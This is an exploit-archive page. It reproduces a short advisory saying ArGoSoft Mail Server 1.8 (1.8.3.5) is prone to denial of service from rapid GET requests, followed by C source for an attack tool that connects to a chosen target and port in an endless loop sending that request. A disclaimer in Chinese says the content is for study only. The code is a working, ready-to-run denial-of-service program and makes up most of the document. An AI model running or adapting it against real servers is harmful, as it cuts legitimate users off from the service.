source: http://www.securityfocus.com/bid/7873/info ArGoSoft Mail Server has been reported prone to a denial of service condition when handling multiple GET requests, in rapid succession. An attacker may exploit this condition to effectively deny service to legitimate ArGoSoft Mail server users until the service is restarted. /********************************************************************************** * * Denial of Service Attack against ArGoSoft Mail Server Version 1.8 (1.8.3.5) * * Tripbit Security Development * --------------------------------- * * Author: posidron * * Contact * [-] Mail: posidron@tripbit.org * [-] Web: http://www.tripbit.org * [-] Forum: http://www.tripbit.org/wbboard * [-] IRC: irc.euirc.net 6667 #tripbit * * Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe, PeaceTreaty * **********************************************************************************/ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> int main(int argc, char *argv[]) { int port, sockfd; struct sockaddr_in server; struct hostent *host; char sendstring[1024]; strcpy(sendstring, "GET /index.html HTTP/1.0\n\n"); if(argc < 3) { printf("Usage: %s [target] <port>\n", argv[0]); exit(0); } port = atoi(argv[2]); host = gethostbyname(argv[1]); if(host == NULL) { printf("Connection failed!...\n"); exit(0); } server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = inet_addr((char*)argv[1]); printf("Dos against ArGoSoft Mail Server Version 1.8 (1.8.3.5)\n"); for(;;) { if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("socket() failed!\n"); exit(0); } if(connect(sockfd, (struct sockaddr*)&server, sizeof(server)) < 0) { printf("connect() failed!\n"); close(sockfd); } if (write(sockfd, sendstring, strlen(sendstring)) < 0) { break; } close(sockfd); } printf("Attack done!...\n"); }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论